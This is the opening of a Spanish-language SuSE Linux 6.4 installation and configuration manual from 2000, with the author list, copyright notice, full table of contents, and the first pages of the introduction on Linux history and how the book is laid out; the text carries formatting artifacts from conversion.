Bodo Bauer, Rüdiger Berlich, Daniel Bischof, Michael Burghart, Roland Dyroff, Christian Egle, Karl Eichwalder, Stefan Fent, Werner Fink, Klaus Franken, Fritz Ganter, Jürgen Geck, Rolf Haberrecker, Marc Heuse, Carsten Höger, Dirk Hohndel, Richard Jelinek, Florian La Roche, Volker Lendecke, Hans Lermen, Hubert Mantel, Arndt Mehlhorn, Jay Migliaccio, Jordi Jaen Pallares, Christoph-Erdmann Pfeiler, Peter Reinhart, Marc Rührschneck, Martin Scherbaum, Adrian Schröter, Burchard Steinbild, Gabriele Strattner, Jörg Strebel, Steve Tomlin, Klaus G. Wagner, Thorsten Wandersmann, Udo Weber, Michael Weyrauch, Stefan Wintermeyer, Christian Zoz SuSE Linux 6.4 Instalación, Configuración y primeros pasos SuSE GmbH Schanzäckerstr. 10 D-90443 Nürnberg Tel.: +49 9 11 / 7 40 53 31 (Ventas) apartado H.2.1) Fax.: +49 9 11 / 7 41 77 55 (Ventas) E-Mail: suse@suse.de WWW: http://www.suse.de Bodo Bauer, Rüdiger Berlich, Daniel Bischof, Michael Burghart, Roland Dyroff, Christian Egle, Karl Eichwalder, Stefan Fent, Werner Fink, Klaus Franken, Fritz Ganter, Jürgen Geck, Rolf Haberrecker, Marc Heuse, Carsten Höger, Dirk Hohndel, Richard Jelinek, Florian La Roche, Volker Lendecke, Hans Lermen, Hubert Mantel, Arndt Mehlhorn, Jay Migliaccio, Jordi Jaen Pallares, Christoph-Erdmann Pfeiler, Peter Reinhart, Marc Rührschneck, Martin Scherbaum, Adrian Schröter, Burchard Steinbild, Gabriele Strattner, Jörg Strebel, Steve Tomlin, Klaus G. Wagner, Thorsten Wandersmann, Udo Weber, Michael Weyrauch, Stefan Wintermeyer, Christian Zoz Instalación, Configuración y primeros pasos con SuSE Linux 6.4 17. Edición actualizada 2000 SuSE GmbH ISBN 3-934678-07-6 (Manual y CDs) Copyright Esta obra es propiedad intelectual de SuSE GmbH. Se permite la copia de este trabajo ya sea de forma completa o bien en forma de extractos, bajo la condición que cada copia esté acompañada de esta nota de Copyright. Satz: ALTE X Diseño de portada con un gráfico de Stephan Endraß. Linux es una marca registrada de Linus Torvalds. XFree86 TM es una marca registrada de The XFree86 Project, Inc. MS-DOS, Windows, Windows 95, Windows 98 y Windows NT son marcas registradas de Microsoft Corporation. UNIX es una marca registrada de X/Open Company Limited. Otras marcas registradas son: Clipper de Computer Associates, dBASE de Borland, Foxbase de Microsoft, Compuserve, T-Online de Deutsche Telekom, SuSE y YaST de SuSE GmbH . Otros productos mencionados en este manual también pueden ser marcas registradas de sus respectivos fabricantes sin mención explícita de ello. ISBN 3-934678-07-6 (Manual y CDs) Índice General I Prefacio 1 1 Introducción 3 1.1 ¿Qué es ''Linux''? . . . . . . . 4 1.2 Intención del libro y consejos para su uso . . . 5 1.3 La leyenda ~ o lo que significa ''tierra: # ls'' . 6 1.4 La lucha con la cantidad de páginas . . . . 7 1.4.1 Banco de datos de soporte . . . . 8 1.4.2 Ayuda en hipertexto . . . . . 8 1.4.3 Texinfo e Info . . . . . . . 8 1.4.4 Manuales de Unix (''Manual-Pages'') . . 8 1.4.5 Los ficheros FAQ-, HowTo- y README . . 9 1.4.6 Libros gratuitos . . . . . . 10 1.5 Méritos . . . . . . . . . 10 II Instalación SuSE Linux 15 2 La primera instalación de SuSE Linux 17 2.1 ¡Directo al éxito! . . . . . . . . 17 2.1.1 Preparativos breves . . . . . . 17 2.1.2 A continuación: La pantalla de bienvenida . 18 2.1.3 ¡Allí está: YaST2 ! . . . . . . 19 2.1.4 Selección del idioma . . . . . 20 2.1.5 Selección del mouse . . . . . 20 2.1.6 Determinar el teclado y zona horaria . . 21 2.1.7 ¿Instalación nueva o Actualización? . . 21 2.1.8 Preparar el disco duro . . . . . 21 2.1.9 Selección del software . . . . . 22 * * i Índice General _________________________________________________________________________________________________________________* *_______________________________________@ 2.1.10 LILO ~ Gestor de arranque . . . . 24 2.1.11 Información de usuario . . . . . 25 2.1.12 Establecer contraseña de `root' . . . 26 2.1.13 Confirmación e inicio de la instalación . . 26 2.1.14 Preparación del entorno gráfico . . . 27 2.1.15 Configurar hardware adicional . . . . 27 2.1.16 Primer ''login'' al sistema . . . . 28 2.1.17 Configuraciones adicionales y trabajo con el sistema 28 2.2 Instalación con YaST en modo texto (YaST 1) . . 30 2.2.1 La situación principal . . . . . 30 2.2.2 A continuación: La pantalla de bienvenida . 30 2.2.3 La base: linuxrc . . . . . . 31 2.2.4 Arrancar YaST . . . . . . 35 2.2.5 Particionar y formatear el disco duro . . 36 2.2.6 Comenzar la instalación del software . . 37 2.2.7 Elección del software básico . . . . 38 2.2.8 Instalación de software . . . . . 39 2.2.9 Seleccionar kernel . . . . . . 40 2.2.10 Configuración básica con YaST . . . 41 2.2.11 Entrar al sistema después de la primera instalación 45 2.3 ¿Cómo se debe arrancar Linux? . . . . . 47 2.4 Instalación sin soporte del lector CD-ROM . . . 49 2.4.1 Instalación desde una partición DOS . . 49 2.4.2 Instalación desde una fuente en la ''red'' . . 51 2.5 Otra vía de instalación: Con setup y loadlin . . . 53 2.5.1 Activar modo DOS de Windows 95 . . . 53 2.5.2 Arrancar Setup y su primera parte . . . 53 2.5.3 ¿Cómo se arranca el Linux originario desde setup ? 54 2.5.4 Instalar loadlin y arrancar Linux originario . 54 2.6 Bloques de información . . . . . . 57 2.6.1 Hacer espacio para Linux (particionar) . . 57 2.6.2 Arrancar con el CD 2 . . . . . 59 2.6.3 Crear un disquete de arranque bajo DOS . . 59 2.6.4 Crear un disquete de arranque bajo Unix . . 61 2.6.5 ¿Linux soporta mi lector CD-ROM? . . 61 2.7 Descripción de problemas . . . . . . 63 2.7.1 Ficheros inamovibles . . . . . 63 2.7.2 La distribución del teclado en modo MS-DOS no es correcta . . . . . . . . * * 63 2.7.3 No hay driver de CD-ROM en modo MS-DOS 63 ii _____________________________________________________________________________________________________________Índice_General_* *______________________ 2.7.4 El CD es defectuoso . . . . . 64 2.7.5 Un lector CD-ROM ATAPI se traba leyendo . 64 2.7.6 Lectores CD-ROM en el puerto paralelo . . 65 2.7.7 Lectores CD-ROM ''propietarios'' . . . 65 2.7.8 Thinkpad ''se duerme'' durante la instalación . 66 2.7.9 loadlin necesita más memoria para cargar el kernel 66 2.7.10 loadlin no funciona . . . . . . 66 2.7.11 DOS se encuentra en modo protegido . . 66 2.7.12 Letra de unidad del lector CD-ROM . . 67 2.7.13 Problemas generales de hardware . . . 67 2.8 Particionar para principiantes . . . . . 70 2.9 Particionar para avanzados . . . . . . 71 2.9.1 El tamaño de la partición de intercambio (swap) 72 2.9.2 Formas de uso de la computadora . . . 73 2.9.3 Posibilidades de optimización . . . . 74 2.10 Configuración manual del disco duro . . . . 77 2.10.1 Establecer particiones . . . . . 77 2.10.2 Fijar sistemas de fichero y ''Mountpoints'' . 79 3 YaST ~ Yet another Setup Tool 83 3.1 Uso y distribución de teclado . . . . . 83 3.2 El menú principal de YaST . . . . . . 83 3.3 Ajustes de la instalación . . . . . . 84 3.3.1 Definir el idioma . . . . . . 84 3.3.2 Distribución de teclado . . . . . 85 3.3.3 El medio de instalación . . . . . 85 3.3.4 Instalación desde CD-ROM . . . . 86 3.3.5 Instalación desde una partición del disco duro . 86 3.3.6 Instalación vía NFS . . . . . . 86 3.3.7 Instalación desde una partición . . . 88 3.3.8 Instalación vía FTP . . . . . . 88 3.4 Particionar disco(s) duro(s) . . . . . . 90 3.4.1 Establecer partición/sistema de ficheros destino 91 3.4.2 Configurar el Logical Volume Manager . . 95 3.4.3 Instalación dentro de un directorio . . . 95 3.5 Escoger / Instalar paquetes . . . . . . 96 3.5.1 Cargar configuración . . . . . 96 3.5.2 Salvar configuración . . . . . 97 3.5.3 Cambiar / Crear configuración . . . . 97 3.5.4 ¿Qué pasaría si...? . . . . . . 99 * * iii Índice General _________________________________________________________________________________________________________________* *_______________________________________@ 3.5.5 Empezar instalación . . . . . 99 3.5.6 Comprobar las dependencias . . . . 99 3.5.7 Listado de las series y paquetes . . . 100 3.5.8 Información sobre paquetes . . . . 100 3.5.9 Instalar paquetes . . . . . . 100 3.5.10 Eliminar/Borrar paquetes . . . . 101 3.6 Actualizar el sistema . . . . . . . 102 3.7 Administración del sistema . . . . . . 102 3.7.1 Instalar hardware en el sistema . . . 102 3.7.2 Configuración del kernel y arranque . . 105 3.7.3 Configuración de red . . . . . 108 3.7.4 Configurar sistema Live . . . . . 110 3.7.5 Configuración del Login . . . . . 111 3.7.6 Opciones susewm . . . . . . 111 3.7.7 Administración de usuarios . . . . 112 3.7.8 Administración de grupos . . . . 114 3.7.9 Crear respaldos/backups . . . . . 115 3.7.10 Configuraciones de seguridad . . . . 116 3.7.11 Configurar XFree86[tm] . . . . . 116 3.7.12 Cambiar fichero de configuración . . . 116 4 Arrancar y gestor de arranque 119 4.1 El proceso de arranque en un PC . . . . . 119 4.2 Conceptos de arranque . . . . . . 120 4.3 Resumen de LILO . . . . . . . 122 4.4 LILO à la carte: La configuración . . . . 125 4.4.1 El contenido del fichero lilo.conf . . 125 4.4.2 Otras opciones de configuración (Selección) . 128 4.5 Instalación y desinstalación de LILO . . . . 131 4.6 Generar disquete de arranque de Linux . . . 133 4.7 Ejemplos de Configuraciones . . . . . 135 4.7.1 DOS/Windows 95/98 y Linux . . . . 135 4.7.2 Windows NT y Linux en un disco duro . . 136 4.7.3 OS/2 y Linux . . . . . . . 137 4.7.4 DOS, OS/2 y Linux . . . . . . 138 4.8 Problemas con LILO . . . . . . . 138 4.8.1 Diagnóstico de errores: Mensajes de inicio de LILO 139 4.8.2 El límite de 1024 cilindros . . . . 140 4.8.3 Problemas especiales de arranque con el kernel a partir de 2.0 . . . . . . . * *141 iv _____________________________________________________________________________________________________________Índice_General_* *______________________ 4.9 Configuración del mecanismo de arranque con loadlin . 143 4.9.1 Ficheros necesarios para loadlin . . . 144 4.9.2 Personalizar menús de arranque . . . 145 4.9.3 Iniciar Linux desde Windows . . . . 147 4.9.4 El menú de arranque de Windows . . . 147 III Configuración de red 151 5 Linux en la red 153 5.1 Configuración con YaST . . . . . . 156 5.2 Configuración manual de la red ~ ¿Dónde tocar? . . 157 5.2.1 Ficheros de configuración . . . . 158 5.2.2 Scripts de arranque (Startup-Sripts) . . . 163 5.3 Routing en SuSE Linux . . . . . . 165 5.4 NIS, las páginas amarillas del LAN . . . . 166 5.4.1 ¿Qué es NIS? . . . . . . . 166 5.4.2 Configuración de un cliente NIS . . . 166 5.4.3 Servidor NIS-Master y Slave . . . . 168 5.5 NFS ~ sistemas de ficheros distribuidos . . . 168 5.5.1 Importar sistemas de ficheros . . . . 168 5.5.2 Exportar sistemas de ficheros . . . . 168 6 Conectarse con el mundo ~ RDSI, PPP, Fax. . . 171 6.1 PPP . . . . . . . . . . 172 6.1.1 Requisitos para PPP . . . . . 172 6.1.2 Información adicional sobre PPP . . . 172 6.2 Acceso a Internet vía RDSI ~ la configuración . . 173 6.2.1 Configurar RDSI ~ paso por paso . . . 174 6.2.2 Introducción . . . . . . . 175 6.2.3 Configuración del hardware RDSI . . . 175 6.2.4 Configuración del hardware RDSI con YaST . 176 6.2.5 Configuración de acceso a Internet vía RDSI . 180 6.2.6 Mensaje RDSI . . . . . . 184 6.3 Modem cable . . . . . . . . 188 6.3.1 Principios . . . . . . . 188 6.4 T-DSL, T-ISDN-DSL, ADSL. . . . . . . . 189 6.5 Conexión de modem . . . . . . . 189 6.6 Con el modem a Internet: PPP con wvdial . . . 190 6.6.1 Configuración de wvdial . . . . . 190 * * v Índice General _________________________________________________________________________________________________________________* *_______________________________________@ 6.6.2 Configurar varios proveedores con wvdial . 193 6.6.3 Adaptadores de terminal para RDSI . . . 194 6.6.4 Configuración de modems PCI . . . 196 6.6.5 Configuración manual de PPP para ''profesionales'' 197 6.7 Masquerading y Firewall ~ amigos y ''amiguetes'' . 201 6.7.1 Fundamentos de ''Masquerading'' . . . 201 6.7.2 Principios de un cortafuegos . . . . 202 6.7.3 Configuración de Masquerading y/o Firewall . 202 6.8 Vamos a escribir ~ Configuración de sendmail . . 204 6.9 News: Las noticias más actuales de USENET . . 207 6.9.1 El sistema de noticias Leafnode . . . 207 6.10 Linux + Fax: ¡Una buena combinación! . . . 209 6.10.1 SuSEFax ~ Un cliente para HylaFAX . . 210 6.10.2 Generación automática de portada . . . 218 6.10.3 Fax-Spooling en UNIX /Linux . . . . 219 6.10.4 HylaFAX ~ Gestión distribuida de faxes . . 220 7 Bailemos samba. . . 227 7.1 Introducción . . . . . . . . 2* *27 7.2 Instalación del servidor . . . . . . 229 7.3 Instalación de los clientes . . . . . . 232 7.4 Optimización . . . . . . . . 232 IV El sistema X Window 235 8 El sistema X Window 237 8.1 Configuración con SaX . . . . . . 238 8.1.1 Primera instalación . . . . . . 238 8.1.2 Reconfiguración . . . . . . 246 8.1.3 Resolución de problemas . . . . . 246 8.1.4 Inicio del sistema X Window . . . . 247 8.1.5 Configuración de la tarjeta gráfica: Problemas y soluciones . . . . . . . 2* *47 8.2 Configuración con xf86config . . . . . 248 8.3 Optimización de la instalación del sistema X Window . 256 vi _____________________________________________________________________________________________________________Índice_General_* *______________________ 9 El Windowmanager ~ La ventana a su PC 261 9.1 Teoría sobre el entorno gráfico . . . . . 261 9.1.1 Estructura del sistema X Window . . . 261 9.1.2 ¿Qué administra el ''windowmanager''? . . 264 9.1.3 Iniciar los distintos gestores de ventana . . 265 9.2 KDE ~ K Desktop Environment . . . . . 266 9.2.1 Generalidades . . . . . . . 267 9.2.2 kdm ~ ''login'' gráfico . . . . . 268 9.2.3 ¿Qué es lo fabuloso del KDE? . . . . 268 9.3 El Fvwm . . . . . . . . . 271 9.4 Ajustes del Fvwm . . . . . . . 273 9.4.1 Autoraise . . . . . . . 276 9.5 Configuración del windowmanager con SuSEwm . 277 9.5.1 Añadir opciones al menú . . . . . 278 9.6 Configuración general del sistema X Window . . 281 V Hardware bajo Linux 285 10 Linux y el hardware adicional 287 10.1 Introducción . . . . . . . . 287 10.2 Tarjetas de expansión . . . . . . . 287 10.2.1 Tarjetas ISA y PCI . . . . . . 287 10.3 Tarjetas de sonido . . . . . . . 290 10.3.1 OSS y versiones de demostración de OSS . 291 10.3.2 ¿Cómo se configuran las tarjetas de sonido bajo Lin- ux? . . . . . . . . . 291 10.4 Las interfaces de la computadora . . . . . 299 10.4.1 Conexiones PS/2 . . . . . . 300 10.4.2 Conexiones de puerto serie . . . . 300 10.4.3 Conexiones de puerto paralelo . . . . 300 10.4.4 USB ~ Universal Serial Bus . . . . 302 10.5 Unidades de almacenamiento removibles . . . 302 10.5.1 Disqueteras . . . . . . . 302 10.5.2 Disqueteras LS-120 . . . . . . 302 10.5.3 Disqueteras ZIP . . . . . . 303 10.6 Modems . . . . . . . . . 304 10.6.1 Modem externo . . . . . . 304 10.6.2 Modem interno . . . . . . 304 10.7 Escáner . . . . . . . . . 305 10.8 Cintas / Streamer . . . . . . . 307 10.9 Tarjetas TV . . . . . . . . . 308 * * vii Índice General _________________________________________________________________________________________________________________* *_______________________________________@ 11 Portátiles ~ PCMCIA, APM, IrDA 309 11.1 PCMCIA . . . . . . . . . 309 11.1.1 El hardware . . . . . . . 309 11.1.2 El software . . . . . . . 3* *10 11.1.3 La configuración . . . . . . 310 11.1.4 Configuración variable ~ ''Esquemas'' . . 312 11.1.5 En caso de problemas. . . . . . . . 315 11.1.6 Instalación vía PCMCIA . . . . . 317 11.1.7 Utilidades adicionales . . . . . 317 11.2 APM ~ Gestión de potencia . . . . . . 318 11.2.1 Fundamentos . . . . . . . 318 11.2.2 El kernel correcto . . . . . . 319 11.2.3 El daemon APM . . . . . . 319 11.2.4 Comandos adicionales . . . . . 320 11.2.5 Parar el disco duro . . . . . . 320 11.3 IrDA ~ Infrared Data Association . . . . 321 12 Impresoras 325 12.1 Sinopsis: Interfaces, colas (spooling) . . . . 325 12.1.1 Spooling, colas de impresión . . . . 326 12.2 Colas de impresión: Funcionamiento y configuración . 327 12.3 Filtros de impresión ~ el ''apsfilter'' . . . . 331 12.4 Impresoras de red con apsfilter . . . . . 337 12.5 Ghostscript . . . . . . . . . * *339 12.6 Listado de las impresoras soportadas . . . . 340 12.7 Lista de comprobación: apsfilter . . . . . 345 VI El kernel y sus parámetros 347 13 El kernel 349 13.1 Las fuentes del kernel . . . . . . . 349 13.2 Módulos del kernel . . . . . . . 350 13.3 Configuración del kernel . . . . . . 352 13.4 Ajustes en la configuración del kernel . . . . 353 13.5 Compilación del kernel . . . . . . 353 13.6 Instalación del kernel . . . . . . . 354 13.7 Generar un disquete de arranque . . . . . 355 13.8 Limpieza del disco después de la compilación del kernel 355 viii _____________________________________________________________________________________________________________Índice_General_* *______________________ 14 Parámetros del kernel 357 14.1 Drivers del kernel . . . . . . . 357 14.2 Algunos consejos . . . . . . . 358 14.3 Los parámetros . . . . . . . . 359 14.3.1 Anotación y significado . . . . . 359 14.3.2 Parámetros del kernel en el Boot-Prompt . . 360 14.3.3 Lectores CD-ROM en controladora propietaria 370 14.3.4 Parámetros de modprobe . . . . 373 VII SuSE Linux: Actualización y particularidades 391 15 Actualización del sistema ~ Gestión de paquetes 393 15.1 Actualización de SuSE Linux . . . . . 393 15.1.1 Preparativos . . . . . . . 393 15.1.2 Actualización con YaST2 . . . . 394 15.1.3 Actualización con YaST1 . . . . 394 15.1.4 Actualización de paquetes específicos . . 396 15.2 De versión a versión . . . . . . . 396 15.2.1 De versión 4.x a 5.0 . . . . . 397 15.2.2 De versión 5.0 a 5.1 . . . . . 397 15.2.3 De versión 5.1 a 5.2 . . . . . 398 15.2.4 De versión 5.2 a 5.3 . . . . . 398 15.2.5 De versión 5.3 a 6.0 . . . . . 399 15.2.6 De versión 6.0 a 6.1 . . . . . 400 15.2.7 De versión 6.1 a 6.2 . . . . . 400 15.2.8 De 6.2 a 6.3 . . . . . . . 401 15.2.9 De 6.3 a 6.4 . . . . . . . 403 15.3 RPM ~ El gestor de paquetes . . . . . 405 15.3.1 Instalar, actualizar y desinstalar paquetes. . 405 15.3.2 Consultas . . . . . . . 406 15.3.3 Instalar y compilar los paquetes fuente . . 408 15.3.4 Herramientas para los archivos RPM y el banco de datos RPM . . . . . . . 410 16 Particularidades de SuSE Linux 411 16.1 Filesystem Hierarchy Standard (FHS) y Linux Standard Base (LSB) . . . . . . . . . 411 16.1.1 Entornos de ejemplo para FTP y HTTP . . 411 16.1.2 teTeX ~ TEX en SuSE Linux . . . . 411 16.2 Arrancar con ''initial ramdisk'' . . . . . 411 * * ix Índice General _________________________________________________________________________________________________________________* *_______________________________________@ 16.2.1 El concepto ''initial ramdisk'' . . . . 412 16.2.2 Procedimiento del arranque con initrd . . 412 16.2.3 Bootloader . . . . . . . 413 16.2.4 Uso de initrd en SuSE Linux . . . 414 16.2.5 Posibles problemas ~ Kernel compilado a medida 415 16.2.6 El futuro . . . . . . . . * * 415 16.3 linuxrc . . . . . . . . . * * 417 16.4 El sistema de ayuda para SuSE Linux . . . . 422 16.4.1 Configuración para estación de trabajo o servidor 423 16.4.2 Configuración para una computadora en modo cliente . . . . . . . . * * 424 16.4.3 Usar el sistema de ayuda . . . . . 424 16.5 El sistema de rescate de SuSE . . . . . 425 16.6 Indicaciones sobre paquetes especiales . . . 429 16.6.1 paquete cron . . . . . . . 429 16.6.2 paquete curses . . . . . . 429 16.6.3 Fuentes del paquete uucp . . . . 429 16.6.4 Manual-Pages . . . . . . . 429 16.7 Distribución de teclado . . . . . . 430 17 El concepto de arranque de SuSE Linux 431 17.1 El init -Programm . . . . . . . 431 17.2 Los Runlevel . . . . . . . . 432 17.3 Cambio del Runlevel . . . . . . . 433 17.4 Los Init-scripts . . . . . . . . 4* *34 17.5 /etc/rc.config y SuSEconfig . . . . . 435 17.6 Las variables en /etc/rc.config ~ Configuración de sis- tema . . . . . . . . . . * * 437 VIII Seguridad y otros buenos consejos 449 18 Seguridad y Confianza 451 18.1 Fundamentos . . . . . . . . 451 18.1.1 Seguridad local . . . . . . 452 18.1.2 Seguridad en redes . . . . . . 455 18.2 Utilidades . . . . . . . . . * * 457 18.2.1 Utilidades locales . . . . . . 457 18.2.2 Utilidades para la red . . . . . 461 18.3 Seguridad en SuSE Linux . . . . . . 465 18.4 Consejos generales . . . . . . . 466 x _____________________________________________________________________________________________________________Índice_General_* *______________________ 19 Introducción a Linux 467 19.1 Hacer login, `root'-Usuario, introducción de Usuario 467 19.2 Apagar y arrancar el sistema . . . . . 468 19.3 Comandos ~ línea de comandos . . . . . 469 19.4 Consolas virtuales . . . . . . . 471 19.5 Directorios y nombres de ficheros . . . . 471 19.6 Trabajar con directorios . . . . . . 472 19.7 Trabajar con ficheros . . . . . . . 472 19.7.1 Propiedades de los ficheros . . . . 472 19.7.2 Wildcards ~ Comodines . . . . . 474 19.7.3 El contenido de los ficheros . . . . 474 19.7.4 Ficheros ocultos . . . . . . 475 19.7.5 Copiar, renombrar y borrar ficheros . . . 476 19.7.6 Búsqueda en ficheros . . . . . 476 19.7.7 Enlaces simbólicos . . . . . . 477 19.7.8 Archivar y guardar Datos . . . . 477 19.8 Autorizaciones para ficheros . . . . . 478 19.8.1 El concepto de las autorizaciones . . . 478 19.9 Manual-Pages . . . . . . . . 480 19.10 Información sobre el estado del sistema . . . 481 19.10.1 El comando df . . . . . . 481 19.10.2 El comando free . . . . . . 482 19.10.3 El comando ulimit . . . . . 482 19.10.4 El comando w . . . . . . . 483 19.10.5 El comando du . . . . . . 483 19.10.6 El comando kill . . . . . . 483 19.10.7 El comando ps . . . . . . 483 19.10.8 El comando pstree . . . . . 484 19.10.9 El comando top . . . . . . 484 19.11 Sistemas de fichero en Linux ~ mount y umount . . 484 19.11.1 Sistemas de ficheros . . . . . 484 19.11.2 Montaje y desmontaje de sistemas de ficheros . 485 19.12 Comandos DOS bajo Unix usando mtools . . . 486 19.13 Resumen de los comandos de Unix . . . . 488 19.14 Otras perspectivas . . . . . . . 489 19.15 El editor vi . . . . . . . . . 491 A Teclas y combinaciones importantes 493 B Glosario 495 * * xi Índice General _________________________________________________________________________________________________________________* *_______________________________________@ C El árbol de directorios 511 C.1 Vista general . . . . . . . . 5* *11 C.2 Directorios importantes . . . . . . 512 D Ficheros importantes 513 D.1 Ficheros de dispositivos en el directorio /dev . . 513 D.1.1 Lectores CD-ROM . . . . . . 513 D.1.2 Unidades de cinta/Streamer . . . . 514 D.1.3 Mouse (Bus y PS/2) . . . . . 514 D.1.4 Modem . . . . . . . . 515 D.1.5 Puertos serie . . . . . . . 5* *15 D.1.6 Puertos paralelos . . . . . . 515 D.1.7 Dispositivos especiales . . . . . 516 D.2 Ficheros de configuración en /etc . . . . 516 D.3 Ficheros de configuración ocultos en /home . . 517 E Manual-Page de e2fsck 519 F Las SuSE Linux-FAQ 523 G La licencia pública general GNU (GPL) 533 H Soporte y servicios de SuSE GmbH 541 H.1 60 días de soporte de instalación . . . . . 541 H.1.1 ¡Sin registro, ningún soporte! . . . . 541 H.1.2 Cobertura del soporte de instalación . . 541 H.2 ¡La vía más rápida! . . . . . . . 542 H.2.1 ¿Cómo contactar el equipo de soporte de SuSE ? 544 H.3 Servicios adicionales . . . . . . . 544 xii Parte I Prefacio 1 Capítulo 1 Introducción La corta historia de Linux parece un cuento de hadas moderno: En el año 1991 el estudiante de informática Linus Torvalds comienza con la progra- mación de su propia versión de Unix. Linus publica en Internet no solamente los binarios, o sea los ejecutables en código máquina, sino también las fuentes correspondientes. El rápido crecimiento de Internet hace que centenares de programadores de todo el mundo se apunten a su invitación y colaboren en el desarrollo de Linux de forma altruista; su motivación es resolver prob- lemas individualmente, trabajando en equipo o bien, les gusta añadir nuevas funcionalidades para perfeccionar el sistema. La única condición es la de pro- porcionar nuevamente el trabajo realizado y su código fuente a la comunidad de programadores. Este principio se manifiesta en la GNU General Public License (GPL) que se encuentra en el anexo G en la página 533. Hoy en día hay muy buenas razonas para optar por Linux ya que, el sistema ofrece estabilidad, seguridad y velocidad. También cuenta la capacidad de conectividad en redes que ha sido decisiva para la conquista de todo el mer- cado de servidores. Los entendidos en Linux aprecian la disponibilidad del código fuente, lo que proporciona al sistema operativo un alto nivel de inde- pendencia y flexibilidad. Gracias a esta disponibilidad nadie está a merced de ningún productor de software sino que es posible hacer adaptaciones y ex- tensiones a gusto propio. Tampoco se debería olvidar que el uso de Linux no exige la adquisición de licencias; da igual si se usa el sistema en casa o para la red de una empresa. En realidad, lo que ha motivado a muchos productores de hardware y software a apoyar fuertemente a Linux, ha sido el enorme interés por parte de los usuarios y no por la multitud de argumentos en favor de éste. Siemens , IBM y Compaq son algunas de las grandes empresas que han descubierto Linux como sistema operativo. Además de la gran cantidad de aplicaciones libres, cada vez hay más apli- caciones de uso comercial para Linux. Productores de bases de datos como Oracle , Informix , Software AG y Sybase al igual que productores de suites ofimáticas como Applix , Corel o Star Division ofrecen sus productos para Linux. Linux es eficiente, se está mejorando continuamente y no cuesta na- da! Teniendo en cuenta que existen más de 10 millones de usuarios entusias- tas cuya cantidad crece continuamente, hay que reconocer que Linux cumple todos los requisitos para un futuro estándar industrial. * * 3 1. Introducción _________________________________________________________________________________________________________________* *_______________________________________@ Pero aún hay más: ya existen a su disposición dos entornos gráficos libres y confortables (KDE y GNOME ) que cada vez más respaldan la idea de usar también Linux en los ''desktops''. 1.1 ¿Qué es ''Linux''? Lo que realmente se entiende bajo el término Linux es el + Kernel, el ''corazón'' de cualquier sistema operativo tipo Unix. Pero el kernel por sí solo no forma todavía un sistema operativo. Justamente para Unix existe una multitud de software libre, lo que significa que estos están también disponibles para Linux. Son estas utilidades las que realmente forman el sistema operativo. En cuanto a las utilidades, se trata generalmente de la versión GNU (+ GNU) de los programas correspondientes de Unix, los que incluso muchas veces ofrecen mayor funcionalidad, siendo el más conocido el GNU C/C++ Compiler , uno de los mejores compiladores del mundo. Tampoco se deben olvidar todas aquellas pequeñas (o también grandes) utilidades que se pueden usar en la línea de comandos o en scripts: la oferta comienza con las utilidades para shells, textos o ficheros como sed , awk y perl hasta editores (vi ) o entornos de trabajo completos (Emacs ). Todo se complementa con XFree86 TM (actualmente en la versión 3.3.6), que es el sistema X Window (actualmente X11, Release 6.3) para sistemas Unix a base de PC. Esta versión se ha portado de la distribución oficial X11R6.3 del consorcio X Consortium, Inc., lo que proporciona total compatibilidad a este estándar. Todos estos componentes forman, junto a otros programas (p. ej. TEX, el sistema profesional de tratamiento de textos) o también juegos, el sistema denominado Linux. Como ya se ha mencionado, existe para Unix una cantidad casi infinita de software libre, lo que permite a su vez componer una multitud de diferentes sistemas Linux. En este punto aparecen las distribuciones de Linux, como p. ej. en nuestro caso, el SuSE Linux. Los encargados de una distribución contemplan la enorme oferta de software libre y eligen los programas más adecuados. El resultado de esta elección es en el caso de los SuSE Linux-CDs, un conjunto que (actualmente ) más de 1000 paquetes de software; paquetes que por su tamaño generalmente se distribuyen en forma de CD. ________________________________________________________________________________________________________* *________ | * * ||| | Aparte del software libre, SuSE Linux también incorpora paquetes de pro- * * ||| | gramas que solamente pueden ser distribuidos en forma compilada ya que, * * ||| | * * ||| | por razones diversas, SuSE no puede incluir las fuentes que se incluyen en * * ||| | caso del software de libre distribución. * * ||| |_______________________________________________________________________________________________________* *________|||_ A parte de esto, la mayoría de las distribuciones están a disposición en Inter- net, así que no hace falta comprar una distribución para actualizar de vez en cuando el sistema. 4 _____________________________________________________________1.2.__Intención_del_libro_y_consejos_para_su_uso_______________* *______________________ 1.2 Intención del libro y consejos para su uso Concebimos este libro explícitamente como una guía de instalación, la cual no debe reemplazar la literatura avanzada que permite al usuario interesado entrar en el fascinante mundo del high performance computing (ver la bibli- ografía al final del libro, capítulo 17.6 en la página 546Seguridad y servicios de mantenimiento localessection.H.3). Para efectuar la primera instalación es suficiente con leer el capítulo 2 en la página 17La primera instalación de SuSE Linux chapter.2, ya que éste resulta bastante concreto y funcional. Como novato en Linux no es nada aconsejable entrar en la aventura de manejar una computadora con Linux sin lectura previa. Leer algo antes aumenta su eficiencia y previene frustraciones ~ como mínimo se debería hojear el capítulo 19 en la página 467Introducción a Linuxchapter.19. Linux y el software libre están sometidos a una fuerte dinámica, lo que plantea un reto al escribir literatura explicativa que vaya al ritmo de los últimos de- sarrollos y sirva a los principiantes del mundo Unix (sin aburrir a los ''viejos zorros''). El presente libro trata de cumplir este objetivo. El libro tiene también el fin de dar a los principiantes de Linux un arranque estimulante para descubrir su (nuevo) sistema. Se constituye básicamente de las siguientes partes: Instrucciones de instalación: Esta parte del libro acompaña al principiante en Linux cuando está dando los primeros pasos por el sistema, realizando una instalación de ejemplo con comentarios (capítulo 2 en la página 17La primera instalación de SuSE Linux chapter.2). Se mencionan posibles fuentes de error y se dan instrucciones concretas para solventar los prob- lemas que se puedan presentar durante la instalación. Se explica el uso del programa de instalación y administración de SuSE , YaST TM (capítulo 3 en la página 83YaST ~ Yet another Setup Toolchapter.3), y se expone cómo arrancar el kernel (capítulo 4 en la página 119Arrancar y gestor de arranquechapter.4) . Configuración de red: Una vez que el sistema básico funciona se intenta ponerlo en red (capítulo 5 en la página 153Linux en la redchapter.5) y establecer el acceso a Internet (capítulo 5.3 en la página 171Configuración y usochapter.6). Entorno gráfico La activación y configuración del entorno gráfico XFree86 TM es tema del capítulo 8 en la página 237El sistema X Windowchapter.8 y capítulo 9 en la página 261El Windowmanager ~ La ventana a su PCchapter.9. Sonido, escáner, portátiles, impresión, etc.: Del capítulo 10 en la pági- na 287Linux y el hardware adicionalchapter.10 hasta el capítulo 12 en la página 325Impresoraschapter.12 se averiguan las posibilidades del hardware. Linux ~ el kernel: En esta parte se va directamente al grano: estos capítu- los, capítulo 13 en la página 349El kernelchapter.13 y capítulo 14 en la página 357Parámetros del kernelchapter.14, 